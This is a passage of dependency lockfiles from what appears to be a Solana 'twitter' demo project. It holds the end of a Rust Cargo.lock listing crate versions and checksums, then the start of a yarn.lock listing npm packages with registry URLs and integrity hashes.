"proc-macro2", 827 | "quote", 828 | "syn", 829 | "version_check", 830 | "yansi", 831 | ] 832 | 833 | [[package]] 834 | name = "quote" 835 | version = "1.0.18" 836 | source = "registry+https://github.com/rust-lang/crates.io-index" 837 | checksum = "a1feb54ed693b93a84e14094943b84b7c4eae204c512b7ccb95ab0c66d278ad1" 838 | dependencies = [ 839 | "proc-macro2", 840 | ] 841 | 842 | [[package]] 843 | name = "rand" 844 | version = "0.7.3" 845 | source = "registry+https://github.com/rust-lang/crates.io-index" 846 | checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03" 847 | dependencies = [ 848 | "getrandom 0.1.16", 849 | "libc", 850 | "rand_chacha", 851 | "rand_core", 852 | "rand_hc", 853 | ] 854 | 855 | [[package]] 856 | name = "rand_chacha" 857 | version = "0.2.2" 858 | source = "registry+https://github.com/rust-lang/crates.io-index" 859 | checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402" 860 | dependencies = [ 861 | "ppv-lite86", 862 | "rand_core", 863 | ] 864 | 865 | [[package]] 866 | name = "rand_core" 867 | version = "0.5.1" 868 | source = "registry+https://github.com/rust-lang/crates.io-index" 869 | checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19" 870 | dependencies = [ 871 | "getrandom 0.1.16", 872 | ] 873 | 874 | [[package]] 875 | name = "rand_hc" 876 | version = "0.2.0" 877 | source = "registry+https://github.com/rust-lang/crates.io-index" 878 | checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c" 879 | dependencies = [ 880 | "rand_core", 881 | ] 882 | 883 | [[package]] 884 | name = "redox_syscall" 885 | version = "0.2.13" 886 | source = "registry+https://github.com/rust-lang/crates.io-index" 887 | checksum = "62f25bc4c7e55e0b0b7a1d43fb893f4fa1361d0abe38b9ce4f323c2adfe6ef42" 888 | dependencies = [ 889 | "bitflags", 890 | ] 891 | 892 | [[package]] 893 | name = "regex" 894 | version = "1.5.6" 895 | source = "registry+https://github.com/rust-lang/crates.io-index" 896 | checksum = "d83f127d94bdbcda4c8cc2e50f6f84f4b611f69c902699ca385a39c3a75f9ff1" 897 | dependencies = [ 898 | "aho-corasick", 899 | "memchr", 900 | "regex-syntax", 901 | ] 902 | 903 | [[package]] 904 | name = "regex-syntax" 905 | version = "0.6.26" 906 | source = "registry+https://github.com/rust-lang/crates.io-index" 907 | checksum = "49b3de9ec5dc0a3417da371aab17d729997c15010e7fd24ff707773a33bddb64" 908 | 909 | [[package]] 910 | name = "rustc_version" 911 | version = "0.4.0" 912 | source = "registry+https://github.com/rust-lang/crates.io-index" 913 | checksum = "bfa0f585226d2e68097d4f95d113b15b83a82e819ab25717ec0590d9584ef366" 914 | dependencies = [ 915 | "semver", 916 | ] 917 | 918 | [[package]] 919 | name = "rustversion" 920 | version = "1.0.6" 921 | source = "registry+https://github.com/rust-lang/crates.io-index" 922 | checksum = "f2cc38e8fa666e2de3c4aba7edeb5ffc5246c1c2ed0e3d17e560aeeba736b23f" 923 | 924 | [[package]] 925 | name = "ryu" 926 | version = "1.0.10" 927 | source = "registry+https://github.com/rust-lang/crates.io-index" 928 | checksum = "f3f6f92acf49d1b98f7a81226834412ada05458b7364277387724a237f062695" 929 | 930 | [[package]] 931 | name = "scopeguard" 932 | version = "1.1.0" 933 | source = "registry+https://github.com/rust-lang/crates.io-index" 934 | checksum = "d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd" 935 | 936 | [[package]] 937 | name = "semver" 938 | version = "1.0.9" 939 | source = "registry+https://github.com/rust-lang/crates.io-index" 940 | checksum = "8cb243bdfdb5936c8dc3c45762a19d12ab4550cdc753bc247637d4ec35a040fd" 941 | 942 | [[package]] 943 | name = "serde" 944 | version = "1.0.137" 945 | source = "registry+https://github.com/rust-lang/crates.io-index" 946 | checksum = "61ea8d54c77f8315140a05f4c7237403bf38b72704d031543aa1d16abbf517d1" 947 | dependencies = [ 948 | "serde_derive", 949 | ] 950 | 951 | [[package]] 952 | name = "serde_bytes" 953 | version = "0.11.6" 954 | source = "registry+https://github.com/rust-lang/crates.io-index" 955 | checksum = "212e73464ebcde48d723aa02eb270ba62eff38a9b732df31f33f1b4e145f3a54" 956 | dependencies = [ 957 | "serde", 958 | ] 959 | 960 | [[package]] 961 | name = "serde_derive" 962 | version = "1.0.137" 963 | source = "registry+https://github.com/rust-lang/crates.io-index" 964 | checksum = "1f26faba0c3959972377d3b2d306ee9f71faee9714294e41bb777f83f88578be" 965 | dependencies = [ 966 | "proc-macro2", 967 | "quote", 968 | "syn", 969 | ] 970 | 971 | [[package]] 972 | name = "serde_json" 973 | version = "1.0.81" 974 | source = "registry+https://github.com/rust-lang/crates.io-index" 975 | checksum = "9b7ce2b32a1aed03c558dc61a5cd328f15aff2dbc17daad8fb8af04d2100e15c" 976 | dependencies = [ 977 | "itoa", 978 | "ryu", 979 | "serde", 980 | ] 981 | 982 | [[package]] 983 | name = "sha2" 984 | version = "0.9.9" 985 | source = "registry+https://github.com/rust-lang/crates.io-index" 986 | checksum = "4d58a1e1bf39749807d89cf2d98ac2dfa0ff1cb3faa38fbb64dd88ac8013d800" 987 | dependencies = [ 988 | "block-buffer 0.9.0", 989 | "cfg-if", 990 | "cpufeatures", 991 | "digest 0.9.0", 992 | "opaque-debug", 993 | ] 994 | 995 | [[package]] 996 | name = "sha3" 997 | version = "0.9.1" 998 | source = "registry+https://github.com/rust-lang/crates.io-index" 999 | checksum = "f81199417d4e5de3f04b1e871023acea7389672c4135918f05aa9cbf2f2fa809" 1000 | dependencies = [ 1001 | "block-buffer 0.9.0", 1002 | "digest 0.9.0", 1003 | "keccak", 1004 | "opaque-debug", 1005 | ] 1006 | 1007 | [[package]] 1008 | name = "smallvec" 1009 | version = "1.8.0" 1010 | source = "registry+https://github.com/rust-lang/crates.io-index" 1011 | checksum = "f2dd574626839106c320a323308629dcb1acfc96e32a8cba364ddc61ac23ee83" 1012 | 1013 | [[package]] 1014 | name = "solana-frozen-abi" 1015 | version = "1.9.25" 1016 | source = "registry+https://github.com/rust-lang/crates.io-index" 1017 | checksum = "9a4169a72d1c598ee818859c040053e057dc1246e0be99eaff0221d3b067b096" 1018 | dependencies = [ 1019 | "bs58 0.4.0", 1020 | "bv", 1021 | "generic-array", 1022 | "log", 1023 | "memmap2", 1024 | "rustc_version", 1025 | "serde", 1026 | "serde_derive", 1027 | "sha2", 1028 | "solana-frozen-abi-macro", 1029 | "solana-logger", 1030 | "thiserror", 1031 | ] 1032 | 1033 | [[package]] 1034 | name = "solana-frozen-abi-macro" 1035 | version = "1.9.25" 1036 | source = "registry+https://github.com/rust-lang/crates.io-index" 1037 | checksum = "60ac2476ec4845f069fd2f47edd7eac993dde05492fdaf724a28cd27c9775d56" 1038 | dependencies = [ 1039 | "proc-macro2", 1040 | "quote", 1041 | "rustc_version", 1042 | "syn", 1043 | ] 1044 | 1045 | [[package]] 1046 | name = "solana-logger" 1047 | version = "1.9.25" 1048 | source = "registry+https://github.com/rust-lang/crates.io-index" 1049 | checksum = "00b5a3ee6f60aec46f2ec8319de82c28e3787cff983725026156f7578186f2ed" 1050 | dependencies = [ 1051 | "env_logger", 1052 | "lazy_static", 1053 | "log", 1054 | ] 1055 | 1056 | [[package]] 1057 | name = "solana-program" 1058 | version = "1.9.25" 1059 | source = "registry+https://github.com/rust-lang/crates.io-index" 1060 | checksum = "b9d0e33def9b079816b71431b2df1d56537bc081501f2c2c51c2f5e25cb2aee9" 1061 | dependencies = [ 1062 | "base64 0.13.0", 1063 | "bincode", 1064 | "bitflags", 1065 | "blake3", 1066 | "borsh", 1067 | "borsh-derive", 1068 | "bs58 0.4.0", 1069 | "bv", 1070 | "bytemuck", 1071 | "console_error_panic_hook", 1072 | "console_log", 1073 | "curve25519-dalek", 1074 | "getrandom 0.1.16", 1075 | "itertools", 1076 | "js-sys", 1077 | "lazy_static", 1078 | "libsecp256k1", 1079 | "log", 1080 | "num-derive", 1081 | "num-traits", 1082 | "parking_lot", 1083 | "rand", 1084 | "rustc_version", 1085 | "rustversion", 1086 | "serde", 1087 | "serde_bytes", 1088 | "serde_derive", 1089 | "sha2", 1090 | "sha3", 1091 | "solana-frozen-abi", 1092 | "solana-frozen-abi-macro", 1093 | "solana-logger", 1094 | "solana-sdk-macro", 1095 | "thiserror", 1096 | "wasm-bindgen", 1097 | ] 1098 | 1099 | [[package]] 1100 | name = "solana-sdk-macro" 1101 | version = "1.9.25" 1102 | source = "registry+https://github.com/rust-lang/crates.io-index" 1103 | checksum = "863a4620043f4f95f7c9d13f4d257494248a46ccf54347197ff498e2c16749df" 1104 | dependencies = [ 1105 | "bs58 0.4.0", 1106 | "proc-macro2", 1107 | "quote", 1108 | "rustversion", 1109 | "syn", 1110 | ] 1111 | 1112 | [[package]] 1113 | name = "solana-twitter" 1114 | version = "0.1.0" 1115 | dependencies = [ 1116 | "anchor-lang", 1117 | ] 1118 | 1119 | [[package]] 1120 | name = "subtle" 1121 | version = "2.4.1" 1122 | source = "registry+https://github.com/rust-lang/crates.io-index" 1123 | checksum = "6bdef32e8150c2a081110b42772ffe7d7c9032b606bc226c8260fd97e0976601" 1124 | 1125 | [[package]] 1126 | name = "syn" 1127 | version = "1.0.95" 1128 | source = "registry+https://github.com/rust-lang/crates.io-index" 1129 | checksum = "fbaf6116ab8924f39d52792136fb74fd60a80194cf1b1c6ffa6453eef1c3f942" 1130 | dependencies = [ 1131 | "proc-macro2", 1132 | "quote", 1133 | "unicode-ident", 1134 | ] 1135 | 1136 | [[package]] 1137 | name = "termcolor" 1138 | version = "1.1.3" 1139 | source = "registry+https://github.com/rust-lang/crates.io-index" 1140 | checksum = "bab24d30b911b2376f3a13cc2cd443142f0c81dda04c118693e35b3835757755" 1141 | dependencies = [ 1142 | "winapi-util", 1143 | ] 1144 | 1145 | [[package]] 1146 | name = "thiserror" 1147 | version = "1.0.31" 1148 | source = "registry+https://github.com/rust-lang/crates.io-index" 1149 | checksum = "bd829fe32373d27f76265620b5309d0340cb8550f523c1dda251d6298069069a" 1150 | dependencies = [ 1151 | "thiserror-impl", 1152 | ] 1153 | 1154 | [[package]] 1155 | name = "thiserror-impl" 1156 | version = "1.0.31" 1157 | source = "registry+https://github.com/rust-lang/crates.io-index" 1158 | checksum = "0396bc89e626244658bef819e22d0cc459e795a5ebe878e6ec336d1674a8d79a" 1159 | dependencies = [ 1160 | "proc-macro2", 1161 | "quote", 1162 | "syn", 1163 | ] 1164 | 1165 | [[package]] 1166 | name = "toml" 1167 | version = "0.5.9" 1168 | source = "registry+https://github.com/rust-lang/crates.io-index" 1169 | checksum = "8d82e1a7758622a465f8cee077614c73484dac5b836c02ff6a40d5d1010324d7" 1170 | dependencies = [ 1171 | "serde", 1172 | ] 1173 | 1174 | [[package]] 1175 | name = "typenum" 1176 | version = "1.15.0" 1177 | source = "registry+https://github.com/rust-lang/crates.io-index" 1178 | checksum = "dcf81ac59edc17cc8697ff311e8f5ef2d99fcbd9817b34cec66f90b6c3dfd987" 1179 | 1180 | [[package]] 1181 | name = "unicode-ident" 1182 | version = "1.0.0" 1183 | source = "registry+https://github.com/rust-lang/crates.io-index" 1184 | checksum = "d22af068fba1eb5edcb4aea19d382b2a3deb4c8f9d475c589b6ada9e0fd493ee" 1185 | 1186 | [[package]] 1187 | name = "unicode-segmentation" 1188 | version = "1.9.0" 1189 | source = "registry+https://github.com/rust-lang/crates.io-index" 1190 | checksum = "7e8820f5d777f6224dc4be3632222971ac30164d4a258d595640799554ebfd99" 1191 | 1192 | [[package]] 1193 | name = "version_check" 1194 | version = "0.9.4" 1195 | source = "registry+https://github.com/rust-lang/crates.io-index" 1196 | checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" 1197 | 1198 | [[package]] 1199 | name = "wasi" 1200 | version = "0.9.0+wasi-snapshot-preview1" 1201 | source = "registry+https://github.com/rust-lang/crates.io-index" 1202 | checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519" 1203 | 1204 | [[package]] 1205 | name = "wasi" 1206 | version = "0.10.2+wasi-snapshot-preview1" 1207 | source = "registry+https://github.com/rust-lang/crates.io-index" 1208 | checksum = "fd6fbd9a79829dd1ad0cc20627bf1ed606756a7f77edff7b66b7064f9cb327c6" 1209 | 1210 | [[package]] 1211 | name = "wasm-bindgen" 1212 | version = "0.2.80" 1213 | source = "registry+https://github.com/rust-lang/crates.io-index" 1214 | checksum = "27370197c907c55e3f1a9fbe26f44e937fe6451368324e009cba39e139dc08ad" 1215 | dependencies = [ 1216 | "cfg-if", 1217 | "wasm-bindgen-macro", 1218 | ] 1219 | 1220 | [[package]] 1221 | name = "wasm-bindgen-backend" 1222 | version = "0.2.80" 1223 | source = "registry+https://github.com/rust-lang/crates.io-index" 1224 | checksum = "53e04185bfa3a779273da532f5025e33398409573f348985af9a1cbf3774d3f4" 1225 | dependencies = [ 1226 | "bumpalo", 1227 | "lazy_static", 1228 | "log", 1229 | "proc-macro2", 1230 | "quote", 1231 | "syn", 1232 | "wasm-bindgen-shared", 1233 | ] 1234 | 1235 | [[package]] 1236 | name = "wasm-bindgen-macro" 1237 | version = "0.2.80" 1238 | source = "registry+https://github.com/rust-lang/crates.io-index" 1239 | checksum = "17cae7ff784d7e83a2fe7611cfe766ecf034111b49deb850a3dc7699c08251f5" 1240 | dependencies = [ 1241 | "quote", 1242 | "wasm-bindgen-macro-support", 1243 | ] 1244 | 1245 | [[package]] 1246 | name = "wasm-bindgen-macro-support" 1247 | version = "0.2.80" 1248 | source = "registry+https://github.com/rust-lang/crates.io-index" 1249 | checksum = "99ec0dc7a4756fffc231aab1b9f2f578d23cd391390ab27f952ae0c9b3ece20b" 1250 | dependencies = [ 1251 | "proc-macro2", 1252 | "quote", 1253 | "syn", 1254 | "wasm-bindgen-backend", 1255 | "wasm-bindgen-shared", 1256 | ] 1257 | 1258 | [[package]] 1259 | name = "wasm-bindgen-shared" 1260 | version = "0.2.80" 1261 | source = "registry+https://github.com/rust-lang/crates.io-index" 1262 | checksum = "d554b7f530dee5964d9a9468d95c1f8b8acae4f282807e7d27d4b03099a46744" 1263 | 1264 | [[package]] 1265 | name = "web-sys" 1266 | version = "0.3.57" 1267 | source = "registry+https://github.com/rust-lang/crates.io-index" 1268 | checksum = "7b17e741662c70c8bd24ac5c5b18de314a2c26c32bf8346ee1e6f53de919c283" 1269 | dependencies = [ 1270 | "js-sys", 1271 | "wasm-bindgen", 1272 | ] 1273 | 1274 | [[package]] 1275 | name = "winapi" 1276 | version = "0.3.9" 1277 | source = "registry+https://github.com/rust-lang/crates.io-index" 1278 | checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" 1279 | dependencies = [ 1280 | "winapi-i686-pc-windows-gnu", 1281 | "winapi-x86_64-pc-windows-gnu", 1282 | ] 1283 | 1284 | [[package]] 1285 | name = "winapi-i686-pc-windows-gnu" 1286 | version = "0.4.0" 1287 | source = "registry+https://github.com/rust-lang/crates.io-index" 1288 | checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" 1289 | 1290 | [[package]] 1291 | name = "winapi-util" 1292 | version = "0.1.5" 1293 | source = "registry+https://github.com/rust-lang/crates.io-index" 1294 | checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178" 1295 | dependencies = [ 1296 | "winapi", 1297 | ] 1298 | 1299 | [[package]] 1300 | name = "winapi-x86_64-pc-windows-gnu" 1301 | version = "0.4.0" 1302 | source = "registry+https://github.com/rust-lang/crates.io-index" 1303 | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" 1304 | 1305 | [[package]] 1306 | name = "yansi" 1307 | version = "0.5.1" 1308 | source = "registry+https://github.com/rust-lang/crates.io-index" 1309 | checksum = "09041cd90cf85f7f8b2df60c646f853b7f535ce68f85244eb6731cf89fa498ec" 1310 | 1311 | [[package]] 1312 | name = "zeroize" 1313 | version = "1.3.0" 1314 | source = "registry+https://github.com/rust-lang/crates.io-index" 1315 | checksum = "4756f7db3f7b5574938c3eb1c117038b8e07f95ee6718c0efad4ac21508f1efd" 1316 | -------------------------------------------------------------------------------- /yarn.lock: -------------------------------------------------------------------------------- 1 | # THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY. 2 | # yarn lockfile v1 3 | 4 | 5 | "@babel/runtime@^7.12.5", "@babel/runtime@^7.17.2": 6 | version "7.18.3" 7 | resolved "https://registry.npmjs.org/@babel/runtime/-/runtime-7.18.3.tgz" 8 | integrity sha512-38Y8f7YUhce/K7RMwTp7m0uCumpv9hZkitCbBClqQIow1qSbCvGkcegKOXpEWCQLfWmevgRiWokZ1GkpfhbZug== 9 | dependencies: 10 | regenerator-runtime "^0.13.4" 11 | 12 | "@ethersproject/bytes@^5.6.1": 13 | version "5.6.1" 14 | resolved "https://registry.npmjs.org/@ethersproject/bytes/-/bytes-5.6.1.tgz" 15 | integrity sha512-NwQt7cKn5+ZE4uDn+X5RAXLp46E1chXoaMmrxAyA0rblpxz8t58lVkrHXoRIn0lz1joQElQ8410GqhTqMOwc6g== 16 | dependencies: 17 | "@ethersproject/logger" "^5.6.0" 18 | 19 | "@ethersproject/logger@^5.6.0": 20 | version "5.6.0" 21 | resolved "https://registry.npmjs.org/@ethersproject/logger/-/logger-5.6.0.tgz" 22 | integrity sha512-BiBWllUROH9w+P21RzoxJKzqoqpkyM1pRnEKG69bulE9TSQD8SAIvTQqIMZmmCO8pUNkgLP1wndX1gKghSpBmg== 23 | 24 | "@ethersproject/sha2@^5.5.0": 25 | version "5.6.1" 26 | resolved "https://registry.npmjs.org/@ethersproject/sha2/-/sha2-5.6.1.tgz" 27 | integrity sha512-5K2GyqcW7G4Yo3uenHegbXRPDgARpWUiXc6RiF7b6i/HXUoWlb7uCARh7BAHg7/qT/Q5ydofNwiZcim9qpjB6g== 28 | dependencies: 29 | "@ethersproject/bytes" "^5.6.1" 30 | "@ethersproject/logger" "^5.6.0" 31 | hash.js "1.1.7" 32 | 33 | "@nodelib/fs.scandir@2.1.5": 34 | version "2.1.5" 35 | resolved "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz" 36 | integrity sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g== 37 | dependencies: 38 | "@nodelib/fs.stat" "2.0.5" 39 | run-parallel "^1.1.9" 40 | 41 | "@nodelib/fs.stat@2.0.5", "@nodelib/fs.stat@^2.0.2": 42 | version "2.0.5" 43 | resolved "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz" 44 | integrity sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A== 45 | 46 | "@nodelib/fs.walk@^1.2.3": 47 | version "1.2.8" 48 | resolved "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz" 49 | integrity sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg== 50 | dependencies: 51 | "@nodelib/fs.scandir" "2.1.5" 52 | fastq "^1.6.0" 53 | 54 | "@project-serum/anchor@^0.24.2": 55 | version "0.24.2" 56 | resolved "https://registry.npmjs.org/@project-serum/anchor/-/anchor-0.24.2.tgz" 57 | integrity sha512-0/718g8/DnEuwAidUwh5wLYphUYXhUbiClkuRNhvNoa+1Y8a4g2tJyxoae+emV+PG/Gikd/QUBNMkIcimiIRTA== 58 | dependencies: 59 | "@project-serum/borsh" "^0.2.5" 60 | "@solana/web3.js" "^1.36.0" 61 | base64-js "^1.5.1" 62 | bn.js "^5.1.2" 63 | bs58 "^4.0.1" 64 | buffer-layout "^1.2.2" 65 | camelcase "^5.3.1" 66 | cross-fetch "^3.1.5" 67 | crypto-hash "^1.3.0" 68 | eventemitter3 "^4.0.7" 69 | js-sha256 "^0.9.0" 70 | pako "^2.0.3" 71 | snake-case "^3.0.4" 72 | toml "^3.0.0" 73 | 74 | "@project-serum/borsh@^0.2.5": 75 | version "0.2.5" 76 | resolved "https://registry.npmjs.org/@project-serum/borsh/-/borsh-0.2.5.tgz" 77 | integrity sha512-UmeUkUoKdQ7rhx6Leve1SssMR/Ghv8qrEiyywyxSWg7ooV7StdpPBhciiy5eB3T0qU1BXvdRNC8TdrkxK7WC5Q== 78 | dependencies: 79 | bn.js "^5.1.2" 80 | buffer-layout "^1.2.0" 81 | 82 | "@solana/buffer-layout@^4.0.0": 83 | version "4.0.0" 84 | resolved "https://registry.npmjs.org/@solana/buffer-layout/-/buffer-layout-4.0.0.tgz" 85 | integrity sha512-lR0EMP2HC3+Mxwd4YcnZb0smnaDw7Bl2IQWZiTevRH5ZZBZn6VRWn3/92E3qdU4SSImJkA6IDHawOHAnx/qUvQ== 86 | dependencies: 87 | buffer "~6.0.3" 88 | 89 | "@solana/web3.js@^1.36.0": 90 | version "1.43.4" 91 | resolved "https://registry.npmjs.org/@solana/web3.js/-/web3.js-1.43.4.tgz" 92 | integrity sha512-9+c965R3vjIRIfUFQtKfaG8BM4tVoo/fp4DvmqHAGLTaeHilVsRdyXszW6+Ues5KczgBejlp62k2SeUcbOibUg== 93 | dependencies: 94 | "@babel/runtime" "^7.12.5" 95 | "@ethersproject/sha2" "^5.5.0" 96 | "@solana/buffer-layout" "^4.0.0" 97 | bigint-buffer "^1.1.5" 98 | bn.js "^5.0.0" 99 | borsh "^0.7.0" 100 | bs58 "^4.0.1" 101 | buffer "6.0.1" 102 | fast-stable-stringify "^1.0.0" 103 | jayson "^3.4.4" 104 | js-sha3 "^0.8.0" 105 | node-fetch "2" 106 | rpc-websockets "^7.4.2" 107 | secp256k1 "^4.0.2" 108 | superstruct "^0.14.2" 109 | tweetnacl "^1.0.0" 110 | 111 | "@types/bn.js@^5.1.0": 112 | version "5.1.0" 113 | resolved "https://registry.npmjs.org/@types/bn.js/-/bn.js-5.1.0.tgz" 114 | integrity sha512-QSSVYj7pYFN49kW77o2s9xTCwZ8F2xLbjLLSEVh8D2F4JUhZtPAGOFLTD+ffqksBx/u4cE/KImFjyhqCjn/LIA== 115 | dependencies: 116 | "@types/node" "*" 117 | 118 | "@types/chai@^4.3.0": 119 | version "4.3.1" 120 | resolved "https://registry.npmjs.org/@types/chai/-/chai-4.3.1.tgz" 121 | integrity sha512-/zPMqDkzSZ8t3VtxOa4KPq7uzzW978M9Tvh+j7GHKuo6k6GTLxPJ4J5gE5cjfJ26pnXst0N5Hax8Sr0T2Mi9zQ== 122 | 123 | "@types/connect@^3.4.33": 124 | version "3.4.35" 125 | resolved "https://registry.npmjs.org/@types/connect/-/connect-3.4.35.tgz" 126 | integrity sha512-cdeYyv4KWoEgpBISTxWvqYsVy444DOqehiF3fM3ne10AmJ62RSyNkUnxMJXHQWRQQX2eR94m5y1IZyDwBjV9FQ== 127 | dependencies: 128 | "@types/node" "*" 129 | 130 | "@types/express-serve-static-core@^4.17.9": 131 | version "4.17.28" 132 | resolved "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.17.28.tgz" 133 | integrity sha512-P1BJAEAW3E2DJUlkgq4tOL3RyMunoWXqbSCygWo5ZIWTjUgN1YnaXWW4VWl/oc8vs/XoYibEGBKP0uZyF4AHig== 134 | dependencies: 135 | "@types/node" "*" 136 | "@types/qs" "*" 137 | "@types/range-parser" "*" 138 | 139 | "@types/json5@^0.0.29": 140 | version "0.0.29" 141 | resolved "https://registry.npmjs.org/@types/json5/-/json5-0.0.29.tgz" 142 | integrity sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ== 143 | 144 | "@types/lodash@^4.14.159": 145 | version "4.14.182" 146 | resolved "https://registry.npmjs.org/@types/lodash/-/lodash-4.14.182.tgz" 147 | integrity sha512-/THyiqyQAP9AfARo4pF+aCGcyiQ94tX/Is2I7HofNRqoYLgN1PBoOWu2/zTA5zMxzP5EFutMtWtGAFRKUe961Q== 148 | 149 | "@types/mocha@^9.0.0": 150 | version "9.1.1" 151 | resolved "https://registry.npmjs.org/@types/mocha/-/mocha-9.1.1.tgz" 152 | integrity sha512-Z61JK7DKDtdKTWwLeElSEBcWGRLY8g95ic5FoQqI9CMx0ns/Ghep3B4DfcEimiKMvtamNVULVNKEsiwV3aQmXw== 153 | 154 | "@types/node@*": 155 | version "17.0.36" 156 | resolved "https://registry.npmjs.org/@types/node/-/node-17.0.36.tgz" 157 | integrity sha512-V3orv+ggDsWVHP99K3JlwtH20R7J4IhI1Kksgc+64q5VxgfRkQG8Ws3MFm/FZOKDYGy9feGFlZ70/HpCNe9QaA== 158 | 159 | "@types/node@^12.12.54": 160 | version "12.20.52" 161 | resolved "https://registry.npmjs.org/@types/node/-/node-12.20.52.tgz" 162 | integrity sha512-cfkwWw72849SNYp3Zx0IcIs25vABmFh73xicxhCkTcvtZQeIez15PpwQN8fY3RD7gv1Wrxlc9MEtfMORZDEsGw== 163 | 164 | "@types/qs@*": 165 | version "6.9.7" 166 | resolved "https://registry.npmjs.org/@types/qs/-/qs-6.9.7.tgz" 167 | integrity sha512-FGa1F62FT09qcrueBA6qYTrJPVDzah9a+493+o2PCXsesWHIn27G98TsSMs3WPNbZIEj4+VJf6saSFpvD+3Zsw== 168 | 169 | "@types/range-parser@*": 170 | version "1.2.4" 171 | resolved "https://registry.npmjs.org/@types/range-parser/-/range-parser-1.2.4.tgz" 172 | integrity sha512-EEhsLsD6UsDM1yFhAvy0Cjr6VwmpMWqFBCb9w07wVugF7w9nfajxLuVmngTIpgS6svCnm6Vaw+MZhoDCKnOfsw== 173 | 174 | "@types/ws@^7.4.4": 175 | version "7.4.7" 176 | resolved "https://registry.npmjs.org/@types/ws/-/ws-7.4.7.tgz" 177 | integrity sha512-JQbbmxZTZehdc2iszGKs5oC3NFnjeay7mtAWrdt7qNtAVK0g19muApzAy4bm9byz79xa2ZnO/BOBC2R8RC5Lww== 178 | dependencies: 179 | "@types/node" "*" 180 | 181 | "@ungap/promise-all-settled@1.1.2": 182 | version "1.1.2" 183 | resolved "https://registry.npmjs.org/@ungap/promise-all-settled/-/promise-all-settled-1.1.2.tgz" 184 | integrity sha512-sL/cEvJWAnClXw0wHk85/2L0G6Sj8UB0Ctc1TEMbKSsmpRosqhwj9gWgFRZSrBr2f9tiXISwNhCPmlfqUqyb9Q== 185 | 186 | JSONStream@^1.3.5: 187 | version "1.3.5" 188 | resolved "https://registry.npmjs.org/JSONStream/-/JSONStream-1.3.5.tgz" 189 | integrity sha512-E+iruNOY8VV9s4JEbe1aNEm6MiszPRr/UfcHMz0TQh1BXSxHK+ASV1R6W4HpjBhSeS+54PIsAMCBmwD06LLsqQ== 190 | dependencies: 191 | jsonparse "^1.2.0" 192 | through ">=2.2.7 <3" 193 | 194 | acorn-node@^1.8.2: 195 | version "1.8.2" 196 | resolved "https://registry.npmjs.org/acorn-node/-/acorn-node-1.8.2.tgz" 197 | integrity sha512-8mt+fslDufLYntIoPAaIMUe/lrbrehIiwmR3t2k9LljIzoigEPF27eLk2hy8zSGzmR/ogr7zbRKINMo1u0yh5A== 198 | dependencies: 199 | acorn "^7.0.0" 200 | acorn-walk "^7.0.0" 201 | xtend "^4.0.2" 202 | 203 | acorn-walk@^7.0.0: 204 | version "7.2.0" 205 | resolved "https://registry.npmjs.org/acorn-walk/-/acorn-walk-7.2.0.tgz" 206 | integrity sha512-OPdCF6GsMIP+Az+aWfAAOEt2/+iVDKE7oy6lJ098aoe59oAmK76qV6Gw60SbZ8jHuG2wH058GF4pLFbYamYrVA== 207 | 208 | acorn@^7.0.0: 209 | version "7.4.1" 210 | resolved "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz" 211 | integrity sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A== 212 | 213 | ansi-colors@4.1.1: 214 | version "4.1.1" 215 | resolved "https://registry.npmjs.org/ansi-colors/-/ansi-colors-4.1.1.tgz" 216 | integrity sha512-JoX0apGbHaUJBNl6yF+p6JAFYZ666/hhCGKN5t9QFjbJQKUU/g8MNbFDbvfrgKXvI1QpZplPOnwIo99lX/AAmA== 217 | 218 | ansi-regex@^5.0.1: 219 | version "5.0.1" 220 | resolved "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz" 221 | integrity sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ== 222 | 223 | ansi-styles@^4.0.0, ansi-styles@^4.1.0: 224 | version "4.3.0" 225 | resolved "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz" 226 | integrity sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg== 227 | dependencies: 228 | color-convert "^2.0.1" 229 | 230 | anymatch@~3.1.2: 231 | version "3.1.2" 232 | resolved "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz" 233 | integrity 